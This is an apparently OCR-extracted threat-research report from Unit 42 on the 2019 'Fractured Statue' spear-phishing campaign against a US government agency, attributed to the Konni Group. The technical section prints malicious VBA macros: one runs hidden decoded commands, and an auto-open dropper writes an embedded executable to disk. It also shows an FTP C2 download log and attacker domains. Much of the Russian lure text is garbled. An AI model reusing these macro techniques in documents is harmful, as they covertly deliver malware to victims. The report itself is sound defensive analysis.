https://unit42.paloaltonetworks.com /the-fractured-statue-cam paign-u-s-government-targeted-in-spear-phishing-attacks/

The Fractured Statue Campaign: U.S. Government Agency Targeted in
Spear-Phishing Attacks

By Adrian McCabe

Published: 2020-01-23 - Archived: 2026-04-05 16:53:24 UTC
Executive Summary

Between July and October 2019, Unit 42 observed several malware families typically associated with the Konni Group (see
Attribution section below for more details) used to primarily target a US government agency, using the ongoing and
heightened geopolitical relations issues surrounding North Korea to lure targets into opening malicious email attachments.
The malware families used in this campaign consisted mainly of malicious documents featuring CARROTBAT downloaders

with SYSCON payloads, but also included a new malware downloader Unit 42 has dubbed CARROTBALL.

CARROTBALL, initially discovered in an attack during October 2019, is a simple FTP downloader utility which facilitates
the installation of SYSCON, a full-featured Remote Access Trojan (RAT) which leverages FTP for Command and Control
(C2). It was found embedded in a malicious Word document sent as a phishing lure to a US government agency and two

non-US foreign nationals professionally associated with North Korea.

Throughout the course of the campaign, Unit 42 ultimately observed a total of six unique malicious document lures being
sent as attachments from four unique Russian email addresses to 10 unique targets. The subject matter of the lures featured
articles written in Russian pertaining to ongoing geopolitical relations issues surrounding North Korea. Of those malicious
documents, five contained CARROTBAT downloaders, and one contained a CARROTBALL downloader. All malicious
second stage payloads were SYSCON.

While this campaign does demonstrate some evolution in the actor’s tactics, techniques and procedures (TTPs) with the use
of a new downloader family and new malicious code in the form of Word Document macros, the majority of its attributes

bear a strong resemblance to the Fractured Block campaign previously reported by Unit 42 in November 2018. As such,

Unit 42 has dubbed this campaign Fractured Statue. The Adversary Playbook for the activity described in this blog can be

found here.

The Fractured Statue Campaign

Figure 1. Fractured Statue Campaign Timeline
Opening Wave of Attacks

Between July 15th, 2019 and July 17th, 2019, spear phishing emails were sent to a total of five individuals at a US
government agency from the email addresses Otdelkorei@mail[.]Jru and kargarnova@mail[.]Jru. The spear phishing emails
utilized three different email subjects with malicious macro documents attached with the same name; all file names were
written in Russian. Further, all of the malicious documents contained articles written in Russian pertaining to ongoing
geopolitical relations issues surrounding North Korea. The documents themselves were rather generic and had no embedded
image enticements to enable macros. They did, however, leverage second-stage downloader components consistent with
known CARROTBAT samples, and almost all of them featured SYSCON payloads. The first pages of each of these

documents are shown below:
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O curyannn Ha KopefickoM no1yocTpoBe H NepcHeKTHBAX [
nanora me;xay CIIA s KHIP.

B nemrpe Emmusmms gopyus GEmE mMpoOTeME! COEDSEMSHHOTO COCTOSHHA H NEPCHSKTHE
aemyrreapmzamn: KHP x ameprrano-ceEep oR0peiCEInG 0 THOISHI.
B xoze obcymgemms gsHEEm mpodneM OTUSINHEC NPOZENTHCE —NPOTHECIDIDEHER

OTISHEM B PAMESX PO ~-EMTEHCEOTO H OHCEOT O TIOAXO0A0E.

ExsmcTeeEHO2, E 98M CTODOEE! COTTISCHINCE 370 € TeM, ¥T0 ETopol caxnamr 1. Tpanmsa
u Fanu Yex blra & Xaros & $eEpans . I. cRagyeT PACOSHHEASTE HE E4E OPOEAT, & KiK DONSIHVE
ECTPEYY, E HTOrE EOTODOE 002 CTOPOHE! TVEINS H PESTHCTHYHSS MOHITH TMOSHIHNE JPVT JPVTE.
Jlanes HE9ANH ELMENATECE IDHHIMITHATEHES DEITHIHA.

Foccmiiciss ¥ EMTSHCEM2 VHMSCTHHEM VTESPIAnH 9T0 E Xamoe mmmep KHIP
TpPOJSMOHCTPHDOEST HSCOITECHE CHSJOEETE SMSDHESHCEOMY EVPCY HE OIHOCTOPOEHION
I2PEQ0MEPETHVIO JeHVESEPHISMIGO 082 ECTPSIEREX 0TESTHEX marce co cropoms: CIIIA & exae
cuaTTeEns cammrmir. JaHHas NDIMIHR ORITa MOATE2PAISHA C2ESPOKOPEECENM THISDOM E X0J2
BoTpeun ¢ npeskasrTosm PP B.B. [Tvruesos eo Braameoctore 23-ro anpens ¢. r. Tam Kina Jen
Elm EHOER 2a%EHT, 9T0 roTOE OpoJonars Juator u ¢ CIIA, ¢ FOmmok Kopesi, m0 ¢ memewo
HE BeJSHHE (IISPSrOEOPOE DAIM MSDE0BOPOEw, & € TeM, 9T00M J0OHTECE B HX X0Xe
EOHEPSTHEIX PEIVAETATOE, MEEST EOTODED EKNFOMEST E c20i EENPEMEHHC H COEDENEHHE
o6®eua pecTpHEImnt, JsftcTeviomes npoTee KHIP, & romenene, & 2uas camxmnt CE OOH.

AMSDHESHCEMS X ININOMAETE M BOSHHER E [ OHEOH'S, EOTODEX SETOMSTHYSCEN H

0230T0ECPOYHO ITOISPEHESTH SIOHCEME COHOSH] vyTeepxgany mHee. [lo onsHEsw JaEEEm

OpedcTEEMTEnsE  EOHCSDESTHEHOTO  OONBIIHHCTES —meTsonmmuents CHIA  rosesess
JocTiokeEmeM EcTpewn E XaEps cramo 1o, wro Tam mskoEen . Tpaum nomerancs vosmmTecT,
aro Bammarron = [[neEesn mu=torT 00mes MOHMMEHNE CEMOr0 MOHATHE (JISHYETSSDHSAITHIY,
ERDEESHEOT0 YETEIM £IEKOM MEXIVHEDOIHOTO Mpaea. [IPH STOM MMM MOCTOSHHED MOETOPEICE
TEIMC 0 TOM, 9TO CEHEIRG — 3T0 NpoIvET He monmrioa CIIIA, & xommeeTeeRed somu anemoe CB
O0H, ® nppemsEnste & DameerToHY Tps00ESHNE N0 HX CMETYSHNK E [PHEIED:S
HETPAEOMEDHD.

B uHTepOperaiMy SMEDHESHCEMX VYSCTHMEOE NpONSCe Juanora DeammerToEa o
IIxenesna cocTonT us Tpéx sramce. Ha mepeon O aocTerayT Bamasimmmt nporpece — & 2016
r. Toraa KHP maxomsn Npeesns HCTOPHWECEOS DEDSHHS COINACHTROE C MEEIVHEDOIHED
CANEINNIMH, ESNDAENSHHEMH He mpocro Ea crpaEmmemme BIIK, 2 ms moapeE koameepuscroi
ropronu KHIP. Oznaxo, #a ETopou stane & 2018 rogy mposemnmce mefnarompmsTER:E ms
meneit GOpCHpOBSHHOM JSHVETSSDHAINMM MOMSTHES IEICHSHME. HSCKHISHHD NpOMsOmsEn

Figure 2. First page of initial malicious document observed in the campaign.

Associated with CARROTBAT.

SHA256

Subject

O curyauun
Ha
Kopeiickom

T0JIyOCTPOBE

4c201f9949804e90f94fe91882cbBaad3e7daf496a7f4e792b9c7fed95ab0726 ~ u mepcrekTi

Bax [Manora
Mexny
CIIA u K
HOP

Table 1. First phishing attempt details.
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Sender

Otdelkorei@mail[.Jru

Translated
Subject

On the
situation
on the
Korean
Peninsula
and the
prospects
for
dialogue
between
the USA
and the
PDR

File name

o
CUTyaLUn
Ha

Kopetickom

3

i
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TIpoaauTes 1 «MHpHAS may3a» Ha Kopelickom noayoctpose g0 2024
roga?

2018 roa soifizer B mcropmo Kopefickoro moTyocTposa B HEpPBYIO
O"Eepeas KAK roJl Hauala OecnpeleleHTHBIX MOJBIAEK B VPEryIHpOBaHMH
MEFEOPEHCKOro KOHGHETa Ha 0ase BOSOCHOBTEHMA COTPYAHHYECTED MEHTY
meymA Kopemmr w stexTHOro crapTa MeXIyHAPOAHOTO TIGTHTHIECKOTO
mpopecca H3 GoHe SHAWHTEeIBHEIX epeMeH KK B0 BHy TpeHHeHd CHTyaLHH JBYX
TOCYAApCTE, TAKHHX BHENIHEH IOTHTHEN B IETOM.

BKHJIP & 2018 r. Kina Yen bln, npogextaprposasnmmt & konme 2017
pelIeHHEe EBONPOCOE  JOCTHEEHHMA  ANEpHOTO IHEPHTEra  («COoSJaHHR
TOCYAAPCTESHHEIX AHePHEIX CHI») H HOPMHpOBAHMA CODCTECHHOH CTIPVETYPE
BIaCTH BO raase ¢ [occoBeToM (¢ pemmiomest poTbio MAPTHIHBIX HHCTAHIMI),
SAMETHO EOHCOIHAHPOEAT CBOH IIOSHIIFIEL BSIHI'U,IIH.PX 3TOMY OH CMOT
COEEpIIMTH HeEWIAHHEN MOEOPOT E AWITIOMATHH, Mepefad 0T EOHHCTEEHHON
Plﬂﬂpm H Z,‘IEPHDID MNIEHTA#A K -'GEIPHOL(Y HlCT}'mEH:H]Q:-}, ,.-_L'I.K 3TOT0 OH
BOCTIOMTIBI0BATICA {(@A]CIBPOM Tpam» C ero HEE'IEH,‘![EPTHHLE! TOAX0JAMH H
ZeKIaPHPOEAHHED CTPEMICHHEM «PelINTE KOPeHCEYI0 mpodmenys, 3 Tamse
TmepexoAoM HOBOTO pyKoBoAcTEa PK knoamTake cotpyammaectsac KHIP.

Astoprrer King Yen blma Eslpoc KAk cpeJH HACETSHHA, TAK CPeAH H Oes
TOro MOKCOPHOH H SamyraHsEcl samrsl [lo cyTH, Zame ¢ ywETOM HATHMHA
PasHsIX MHeHHH B MpasAmel BEPXYIKE, KOTOPAA MOCTENEHHO 0OHOEIAETCH,
OIIIOSHITHH JTHASPY IDPOCTO HE MOXKET NOABHICA E CHIY OCOSHAHMNA WIHTOH
ONaCHOCTH «PaCKauaTs T0AKY» H 0:1aroapa TOTATEHORM CIesEe.

3Havenme EBOSHHEIX, HIDAENINX NpPH OTIE HEHENTHETo JHMASPA POIB
“CTAHOBOTO )CPEC-ITQ)) TOCYMpaETeHHA, 3AMeTHO CHHIHIOCe H CBOJHICA K
pemreHmI0 3ajad B 0071acTH obopoHsl. Kpome Toro, BeigenenMe B KadecTse
OCHOEEI BOEHHOH CIDAaTerHH paKeTHO-ZAEPHBIX CHI CIPAaTerHYecKoro
HasHAUEHHA H SIHTHBIX MOJpasAeTeHHH, PesK0 MOHHSHIO BOSMOMHOCTH H
CTATYC OOBIYHBIX MO-MpekHEeMy MHOTOUHCIEHHEIX BOOPYKEHEBIX CHI (OHH BCe
E OomBmIel Mepe HCMDIBSYIOTCA B KauecTse OecmaTHOH padoueil CHIEL, 4TO
EBISBIEAET OIMpeJ&IeHHOS HEJOBOMBO).

CTPHBE NEPENLIa B HOBYVI0 COLNHATEHO-3KOHOMIMECKOIS PpPeaJdsHOCTE.
HecuoTpa Ha caHsUMM, NpPOCTEXMEISTCE [MOSHTHEHAX JHHAMMEA B
3KOHOMHYECKOH  OOMacTH, YIO TIPOHMCKOAWT  GMarofapd  PasEHTHIO
HeoOBARTeHHBX pedOpMeHHBX MPOLECCOE: PACHIMPHIACE <«MAPEETHIALHA
CHHSY», NPOH3OILIO0 PasBHTHE YACTHOTO NpeANPHHHMATEIBCTER (B TOM YHCIE

Figure 3. First page of second malicious document observed in the campaign.

Associated with CARROTBAT.

Tra
. Translated : .
SHA256 Subject Sender . File name Fili
Subject
Na
Will there
Ipognures bea
JI MUpHast eaceful
P P Wi
ray3 a Ha pause on IMpoaauTcst
ee
63c3817a5e9984aaf59e8a61ddd54793ffed11acSbecef438528447f6b2823af  Kopetickom  Otdelkorei@mail[.Jru  the JI1 MUpHast E
re
T0MyOCTPO Korean nays )
ast
Be 710 2024 Peninsula
roza until
2024?

Table 2. Second phishing attempt details.
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PernoHaIbHbBIE YKOHOMHYECKHE CBAIH poccHiickoro Jaasnero BocToka ¢
KopefickaMH rocyjapereams (2010-e rr.)

Annorauma: Hccaenoeamsl BONpochl TOProBO-SKOHOMHYECKHMX —CEBA3EH
NaJBHEBOCTOYHBIX permoHos Poccwm m crpan Kopeiickoro momyocTpoea.
BuiABTEHE! MPHHMMHEL 3aMeNTeHHA KOHOMHYECKOro cOTpyAHEYecTEa. Caeran
EEIEOZ 0 TOM, 9T0 MeEIYHAPOJHEIE SKOHOMHYeCEHE CaHKITHH He CHHSEIH HHTepec
KOpeHCKHX roCcyAapcTE K COTpYAHHYeCTEY ¢ poccriicks Jaasama Boctokon, HO
NpHEEIH K 3aMeZTeHHIO TEMMIOE PasEHTHA EHEIIHETOPTOBAIX CEA3EH.

Kmouessie caosa: Poccus — KHIP — PK — mop2060-3KOHOMUNECKUE CEATU —
ungecmuyuu

Abstract: The article by Dr. Lansa Zabrovskaia “The Regional Economic Confacts
of Russian Far East with Korean States (2010s)” isinvestigatedissues oftrade and
economic ties between the Far Eastem regions of Russia and the countries of the
Korean peninsula. There were revealed reasons for the slowing of economic
cooperation. It is concluded that the mtemational economic sanctions did not
reduce the interest of the Korean states in cooperation with the Russian Far East,
but led to a slowdown in the development of foreign trade.

Keywords: Russia— North Korea — Republic of Korea — trade and economic
relations — investments

Poccmitcrant  Jaasmmit Boctox m crpamm Kopefickoro moayocTposa
CEXSHIEAIOT MHOTOIETHHE TeCHEIE M ESAHMOERTOJHBIE TOPTOEO-3KOHOMHYECKHEe
orHomenmAa. Poccuiickmii  Jaaeamii BocTOE MHTepeceH HM  HaTHdHeM
SHAUHTEIBHEIX 3HEPTETHUECKMX pecypcos. B cEor ouepeas Poccmm aaa
DOCTHKEHHA XOANCTBEHHOTO M COLUHATBHOrO mogeeMa Jaxenero BocToxa
TpeGyIoTCA SHAYHTEIBHEIE KAMHTATOBTONEHHA, CAMOCTOATEIEHO OCYIIECTEHTE
KOTOpEle Halla CTPaHA TOKA He B cocTOAHMA. [To3TOMY KII0UEBEIM MeXaHHSMOM
pamm'nm AATbHEBOCTOHHOIO pEl"ﬂDl‘[E EHU(‘DGHO CTaTh MEE:[_VHEPD,‘IHDE
COTPYAHHYECTEO C COCEAHHMMH CTPaHAMH, B YACTHOCTH, C KOpeHCKIMH
rocyaapcreamy. Basso mpH 3TOM OCYIIECTEAATE COTPYAHMUECTEO E CTPOTOM
COOTBETCTEHH C POCCHICKHMH 33K0HAMH H Ha E3aHMOEBBITOJHBIX Y CIOBHAX.

B cEA3H ¢ 3THM B CTaTBe CTAERIACH Uedb NPOaHAIHSHPOEATE COEPEMeHHo
COCTOREMe cBAsedl poccmickoro Jaassero BocToxa ¢ ofomMm EopeHcimmm

Figure 4. First page of third malicious document observed in the campaign.

Associated with CARROTBAT.

SHA256

Subject

Poccus —
KHZP - PK —

TOp rOBO-

9dfe3afccada40a05b8b34901cb6a63686d209e2b92630596646dba8ee619225

SKOHOMHYeCKue

CBA3 U —

WHBeCTULIMU.

Table 3. Third phishing attempt details.

Second Wave

Sender

kargarnova@mail[.Jru

Roughly one month later, beginning on August 15, 2019 and ending on September 14, 2019, the second wave of

CARROTBAT attacks occurred against three additional email addresses at the same government agency. One attack featured

the same sender and malicious document but had a different subject and filename. The other two emails contained a

previously unseen malicious document and featured a mix of Russian and English languages in both the document lures and

the email correspondence.

SHA256

Subject

9dfe3afccada40a05b8b34901cb6a63686d209e2b92630596646dbaBee619225  Russia —

North Korea

Page 4 of 12

Sender

kargarnova@mail[.Jru

Translated File
Subject name
“Russia -
Poccus
DPRK - RK
- trade and
) KH]IP
economic
—PK -
ties and -
. TOp
investments.”
File
Initial C2 Dom¢
name
Russia—  handicap.eu5[.]

North
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— Republic
of Korea —
trade and
economic
relations —

investments.

Table 4. Fourth phishing attempt details.

PernoHaIbHbBIE YKOHOMHYECKHE CBAIH poccHiickoro Jaasnero BocToka ¢
KopefickaMH rocyjapereams (2010-e rr.)

Amnorauma: Hccrenosamsl BOMpOCH TOProBO-SKOHOMHHECKHX —CBAseH
NaJBHEBOCTOYHBIX permoHos Poccwm m crpan Kopeiickoro momyocTpoea.
BuiABTEHE! MPHHMMHEL 3aMeNTeHHA KOHOMHYECKOro cOTpyAHEYecTEa. Caeran
EEIEOZ 0 TOM, 9T0 MeEIYHAPOJHEIE SKOHOMHYeCEHE CaHKITHH He CHHSEIH HHTepec
KOpeHCKHX roCcyAapcTE K COTpYAHHYeCTEY ¢ poccriicks Jaasama Boctokon, HO
NpHEEIH K 3aMeZTeHHIO TEMMIOE PasEHTHA EHEIIHETOPTOBAIX CEA3EH.

Kmouessie caosa: Poccus — KHIP — PK — mop2060-3KOHOMUNECKUE CEATU —
ungecmuyuu

Abstract: The article by Dr. Lansa Zabrovskaia “The Regional Economic Confacts
of Russian Far East with Korean States (2010s)” isinvestigatedissues oftrade and
economic ties between the Far Eastem regions of Russia and the countries of the
Korean peninsula. There were revealed reasons for the slowing of economic
cooperation. It is concluded that the mtemational economic sanctions did not
reduce the interest of the Korean states in cooperation with the Russian Far East,
but led to a slowdown in the development of foreign trade.

Keywords: Russia— North Korea — Republic of Korea — trade and economic
relations — investments

Poccmitcrant  Jaasmmit Boctox m crpamm Kopefickoro moayocTposa
CEXSHIEAIOT MHOTOIETHHE TeCHEIE M ESAHMOERTOJHBIE TOPTOEO-3KOHOMHYECKHEe
orHomenmAa. Poccuiickmii  Jaaeamii BocTOE MHTepeceH HM  HaTHdHeM
SHAUHTEIBHEIX 3HEPTETHUECKMX pecypcos. B cEor ouepeas Poccmm aaa
DOCTHKEHHA XOANCTBEHHOTO M COLUHATBHOrO mogeeMa Jaxenero BocToxa
TpeGyIoTCA SHAYHTEIBHEIE KAMHTATOBTONEHHA, CAMOCTOATEIEHO OCYIIECTEHTE
KOTOpEle Halla CTPaHA TOKA He B cocTOAHMA. [To3TOMY KII0UEBEIM MeXaHHSMOM
pasBHMTHA JaJbHEBOCTOYHOrO PermoHa crnocofHO CTaTe MeEIyHAPOAHOE
COTPYAHHYECTEO C COCEAHHMMH CTPaHAMH, B YACTHOCTH, C KOpeHCKIMH
rocyaapcreamy. Basso mpH 3TOM OCYIIECTEAATE COTPYAHMUECTEO E CTPOTOM
COOTBETCTEHH C POCCHICKHMH 33K0HAMH H Ha E3aHMOEBBITOJHBIX Y CIOBHAX.

B cEA3H ¢ 3THM B CTaTBe CTAERIACH Uedb NPOaHAIHSHPOEATE COEPEMeHHo
COCTOREMe cBAsedl poccmickoro Jaassero BocToxa ¢ ofomMm EopeHcimmm

Figure 5. First page of fourth malicious document observed in the campaign. Associated with CARROTBAT.

SHA256

Subject

Republic
of Korea,
the

ed63e84985e1af9c4764e6b6ca513ec1c16840fb2534b86f95e31801468be67a  Russian

Federation
and the
DPRK

Table 5. Fifth phishing attempt details.
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Sender

rusrnirasaf@yandex[. Jru

Korea —
Republic

of Korea

File name

Republic
of Korea,
the
Russian
Federation
and the
DPRK.doc

Initial C2 Dor

panda2019.eu
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Kopeiickuil noayocmpos 6 2106 416HbLX U PEZUOHLTLHBIX USMEDPEHUAX.

EBesonacnocme u 603M0NCHOCHU B3aMMOTeACTERA

B nmocieanse BpemA B KopeHcE0i MpodaeMe penbedHO NPOCMATPHEAOTCA
TT00aIBHEe ACTIEKTH 0eS0MACHOCTH — YIP0sE BOSHHEHOBEHHA HA IIOJYOCTPOEE
AJEPHOr0 FOH(VIMETA, MOTeHIHATEHO CIIOCOOHOTO [PHEECTH K HOEOH MHPOEOH
soitre. [Tocme msBecTHBIX paxeTHmiX mycsoe Ilxemsama & 2018 r m gpyrmx,
APTHLIEPHCICKHX MepecTPeNoK KOpeACEHMX TOCYIAPCTE H  3aMOPaHEAHHA
WIeCTHCTOPOHHHX Meperoeopoe mporusoctoine KHIP m CIIIA sHaunTeasHO
yemwrwrocs. [leHTaron, yiassieas Ha [IXeHBAH, NMPOBOAHT PAacHIMpeHHe CBOSH
TIPOTHEOPaKeTHON oOopomsl, pasmectns B KOwHoi Kopee HopeAmyo cucTeMy
IIPO THAD, peryaapHo NPOEOJA ¢ EoopyXeHHEMH citamu PK soeHHEIe yueHHT
B HETOCPeACTESHHOR OIMS0CTH OT AeMITHTApHsOBaHKOH soHsl (JIM3) — rpammme
MeFIY ABYMA KOp eHCKIMH TOCYAapCTEAMH.

Ouesngno, uto cHiossie mare CIIJA HampakTeHE! He CTOABKO IPOTHE
Ceseproit Kopen, croasso nporus KHP u P®. [IpomseegeHo pasMemenne HOEEX
AMEPHFAHCKAX Pajiap0B PaHHEro NMpeAyTpPeiIeHHA Ha IOAHBIX 0cTposax Amomm
1 PrranmaHax, yeemrdenne (¢ 26 o 36) coenATBHEX BOSHHBIN HOpatuIed,
OCHANIEHHEX AaHTHPAKeTAMH B Ap.

ﬂpon[xn;u[r MOATOTOERA K I[EPEq]UPmTﬂPOmBHD amepm:;ﬁn-mn}n:mrn H
AMEPHFAHOFOMHOKOPEHCHOTO COOSHBIX [JOTOEOPOE B CIOPOHY VITyOIeHHA
BOEHHO-TIO.THTHYeCKHX 00A3aTeBCTE CTOPOH.

IIxeHsAH TpammUmoOHHOD oOpam@ercs K IlexWHy 33 EPeIHTHOH,
TIPOTOB0IBECTEEHHOH, SHepreTEdeckoil M mHOH momommwo. KHE ecam 310 He
Hapymmer mpreatex CB OOH cammnpni omaseieaetr momomp. KuTadl Bcerma
TOepAHET HISQTOrMMeckH OIMSKHI eMy peXdM, HHOA Cmacad e oT

cMepTeTBHOR YIpossl (Memmopefickan sofima 1930—1933 rr) He octasmr onm

Figure 6. First page of the fifth malicious document observed in the campaign. Associated with CARROTBAT.

SHA256 Subject Sender

Kopelickuii 1osyocTpoB B

/100a/IbHBIX 1
a4f858c6b54683d3b7455c9adcf2bb6b7ddc1f4d35d0f8f38a0f131c60d1790f  pervioHanbHBIXM3MEPEHHUSIX. kargarnova@mail[.]Jru

Besonacnocth

MBO3MO)KHOCTHB3aNMO/IeHCTBHS

Table 6. Sixth phishing attempt details.
Final Attempt

On October 29, 2019, one of the same individuals targeted in the second wave of attacks was targeted again with a malicious
document, though in this attack the sender was different and the document lure did not feature CARROTBAT. Also of note
is that the lure in this attack did feature a more traditional “enable macro” cover page, but was then followed by additional

pages in Russian that thematically matched with the documents found in the rest of the campaign.
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Translatec

Subject

The Kore:
Peninsula
global anc
regional

dimensior
Security a

Interopera
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To view this content, Please click "Enable Editing" from the yellow bar
and then ¢

Enable Content”.

Figure 7. First page of sixth malicious document observed in the campaign. Associated with CARROTBALL.

Translated
SHA256 Subject Sender .
Subject
“The
VIHBeCTULIMOHHBIN investment
c1a9b923fc1f81d69bd0494d296c75887e4a0f9abfc1cdfbfadc0f4ab6c95db7  knmmar CeBeproii  pryakhin20l0@mail[.Jru  climate of
Kopen. North
Korea.”

Table 7. Seventh phishing attempt details.

Also interesting to note is that the sender added multiple recipients to their email; one was an individual at a US government
agency, and the other two individuals were non-US foreign nationals professionally associated with ongoing activities in

North Korea.
Technical Analysis

With the exception of the October 2019 attack, all of the malicious documents found in this campaign featured the following
macro code snippet of interest:
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If (TextBox1l.Text B8 "") Then
sCmdLine = Environ("windir")
nResult = InStr(Application.Path, "x86")
If nResult B¥ 0 Then
sCmdLine = sCmdLine & Hex2Chr(TextBox1.Text)
Else
sCmdLine = sCmdLine & Hex2Chr(TextBox2.Text)
End If

sCmdLine = sCmdLine + Hex2Chr(TextBox3.Text)
nResult = Shell(sCmdLine, vbHide)
TextBox1l.Text e
TextBox2.Text e
TextBox3.Text e
ActiveDocument.Save

End If

Figure 8. Macro from malicious documents associated with CARROTBAT.
When executed, this code will:

¢ Determine whether the victim’s host machine is running Windows with an x86 or x64 architecture.

 Parse the contents of a corresponding textbox within the document and convert it to a command line argument
specific to the Windows architecture on the victim’s machine.

e Execute the command.

e Clear the contents of the textboxes and save the document.
As previously mentioned, all samples featuring the macros above also featured CARROTBAT as a second stage downloader.

The October 2019 attack, however, differed significantly from the previous ones. Instead of reading from the contents of the
document itself, the macros leveraged an embedded Windows executable in the form of hex bytes delimited via the |”
character that ultimately acted as a dropper. When the macro was executed, the hex bytes were split, converted to binary, and

dropped onto disk as an executable. The first few lines of this functionality are shown below:

Attribute VB_Name = "ThisDocument"
Attribute VB_Base - "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace - Fz
Attribute VB Creatable = False
Attribute VB_PredeclaredId - True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived True
Attribute VB_Customizable - True
Attribute VB_Control "Imagel, @, @, MSForms, Image"
Private Sub Document_Open()

Dim nResult As Long

Dim sFilePath As String

If Imagel.Width > 1 And Imagel.Height - 1 Then
Imagel.Width - 1
Imagel.Height - 1

sFilePath = Environ("USERPROFILE")
sFilePath = sFilePath & "\Downloads\update.txt"

hex_val - "4D|5A|90|00|03|0Q|00|00|04 |00 | 00|00 |FF|FF|0e|0o|B8|ee|00|00|ee|0a|ee|d
hex_val = hex_val + “64|65|2E|0D|@D|0A|24|00|00|00|00|00|00|08 |57 |48|A6 |27 |13|29
hex_val - hex_val + “E0|00|02|01|@B|01|0B|0@|00 06|00 |00 |00|0E |00 |00|00 00 |00|e0
hex_val - hex_val + "00|00|0@|00|00|00|00|00|00 00|00 |00 |00|00 060 00|00 00|00| 00

Figure 9. Macro from malicious documents associated with CARROTBALL.

In this case, the dropped binary was a new type of downloader we have dubbed CARROTBALL. Its sole purpose was to
serve as the main mechanism to facilitate the download and installation of the SYSCON backdoor. This is very similar to the
CARROTBAT samples observed earlier on in this campaign and in the previous Fractured Block campaign (see technical
analysis here). Additionally, of novel interest in this attack was the use of two separate FTP credential pairs to conduct active
C2 operations. One credential pair was hardcoded in the dropped CARROTBALL binary and used to connect to the domain

downplease.c1[.]biz to retrieve a CAB file renamed with a generic .dat extension.
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220 ::ffff:185.176.43.94 FTP server ready
USER

331 Password required for 3159858

PASS| |

230 Welcome to your web hosting account! Please upload your web site
inside the directory of the respective hostname.(If you wish to
upload outside the hostname directories or delete them please make
sure Directory Protection is set to OFF from your hosting control
panel - File Manager section)

CWD /htdocs/

250 CWD command successful

TYPE I

200 Type set to I

PASV

227 Entering Passive Mode (185,176,43,94,192,60).

SIZE 64.dat

213 14711

RETR 64.dat

150 Opening BINARY mode data connection for 64.dat (14711 bytes)

226 Transfer complete

Figure 10. Observed CARROTBALL FTP interaction.

When extracted, the .cab file was found to contain two malicious batch files, two malicious dlls (one of which contained a
custom base64 alphabet), and a second domain (lookplease.c1[.]biz) with a set of FTP login credentials encoded in the

custom base64 alphabet. The contents of the cab file are as follows:

2

Name Date medified Type Size

alive.bat 10/28/2019 5:14 PM  Windows Batch File 1 KB
% bpu.dIl 10/28/2019 5:08 PM  Application extension 6 KB
| mama.bat 10/28/2019 5:15 PM  Windows Batch File 1 KB
|| syssec.bin 9/21/201911:15 AM  BIN File 1KB
% syssec.dll 10/28/2019 432 PM  Application extension 12 KB

Figure 11. Converted CAB file contents extracted from observed CARROTBALL FTP interaction.

File
SHA256 Functionality
Name
Install and establish
persistence for core
SYSCON backdoor

component.

42e874d96cb9046cd4113d04c1c5463b1d43a4e828ca872de11c08cd314e650f  alive.bat

UPX-packed system

process injection

mechanism to gain
a761b47ab25dc2aa66b2f8ad4ab9636e40ebbcaf67f8a34£3524456c09f47d76 bpu.dll

execution of alive.bat.

Reserved for use against

non-admin users.

Batch file to delete

assorted host based

artifacts of malware.
c3ac29e4b0c5e1a991d703769b94c0790fbf81fd38cf6acdb240c5246¢2517ca mama.bat

Deletes bpu.dll if running

as Admin. Runs bpu.dll if

not Admin.

Custom base64 encoded
ad63b8677¢95792106f5af0b99af04e623146c6206125c93cf1ecOfbfeafaac syssec.bin  FTP credentials and C2

domain.

Core SYSCON backdoor
bdd90ed7e40c8324894efe9600f2b26fd18b22dcbf3c72548fee647a81d3c099 syssec.dll .
component.

Table 8. CAB file contents.
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While observing the malware’s interaction with the second domain, lookplease.c1[.]biz, two text files were subsequently
identified containing text encoded with the same custom base64 alphabet used previously. When decoded, these files were

found to contain additional commands to be executed on the infected host.

File
SHA256 Raw Flle Contents
Name
Gei
Fg37eqyelOee2eqse0e3SeY8evg3Geqhecy3-
f3d3fa4c76adfabd239accb453512af33ae8667bf261758f402fff22d9df1f67 All
eqAexf32eUAe
(0).txt
Gei
4b8790e9cb2f58293c28e695bec0a35e2ebd2da8e151c7e8c4513a1508c8bc94  All Fg37eqyelee2eqse0e3GeqOevg3leqge/y3SeYyeZfeD
(1).txt

Table 9. SYSCON C2 file attributes.

At the time of the activity, both downplease.c1[.]biz and lookplease.c1[.]biz resolved to the IP address 185.176.43[.]194.
Attribution

Konni: Malware or Actor?

Originally, the name “Konni” was used to refer to a Remote Access Trojan utilized in targeted campaigns with strong links
to North Korean interests. However, as additional campaigns began to appear with strongly overlapping TTPs yet did not
feature the Konni RAT, specifically, some industry researchers simply began to adopt the “Konni” moniker to refer to the

actors behind the aggregated set of activity. Unit 42 has followed this trend, and now refers to the “Konni Group” as such.

Konni’s Ties to Fractured Statue

As prominently documented by Cisco Talos, the first Konni Group activity was a sustained information stealing/RAT
distribution campaign spanning between 2014 and 2017. Throughout 2018, Unit 42 released several blogs on Konni Group
activity, and subsequently identified two new malware families the group was using in the attacks, dubbed NOKKI and
CARROTBAT, respectively. Now, in 2019, Unit 42’s continued observation of targeted CARROTBAT activity (in addition
to the new malware CARROTBALL being used during the same campaign) could indicate that both are still in use by the

Konni Group, as thematically linked elements of Konni Group TTPs include:

o Targeting individuals/organizations who have interest in, are directly linked to, or conduct business in North Korea
(corroborated by previous research by Unit 42).

 Utilizing malicious document phishing lures containing subject matter pertaining to North Korea (corroborated by
previous research by Unit 42).

 Iteratively increasing the type and complexity of their payload delivery mechanisms (from their initial use of simple
Base64 strings as reported by Trend Micro, then later leveraging CARROTBAT, and now leveraging
CARROTBALL)

However, there are non-trivial obstacles to obtaining a high-confidence attribution to the Konni Group, namely the fact that
previous blogs produced by Unit 42 and other researchers contain a great deal of technical detail about the group’s
operations, and copycat actors may attempt to emulate previously observed TTPs to hinder attribution efforts or perform

false-flag operations.

In light of these factors, Unit 42 assesses with moderate confidence that this activity is related to the Konni Group.

Conclusion

Overall, the Fractured Statue campaign provides clear evidence that the TTPS discovered in Fractured Block are still
relevant, and that the group behind the attacks still appears to be active. Additionally, development and use of the new
downloader, CARROTBALL, alongside the more commonly observed malware delivery mechanism, CARROTBAT, may
indicate that the previous methods employed by the group to successfully infect their targets are becoming less effective.

The Adversary Playbook for the activity described in this blog can be found here.
Palo Alto Networks customers are protected from this threat in the following ways:

* AutoFocus customers can track these samples with the FracturedStatue, SYSCON, KONNI, CARROTBAT and
CARROTBALL tags.

* WildFire detects all files mentioned in this report with malicious verdicts.

* Cortex XDR blocks all of the files currently associated with the Fractured Block campaign.
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10CS:

Malicious Documents with CARROTBAT:
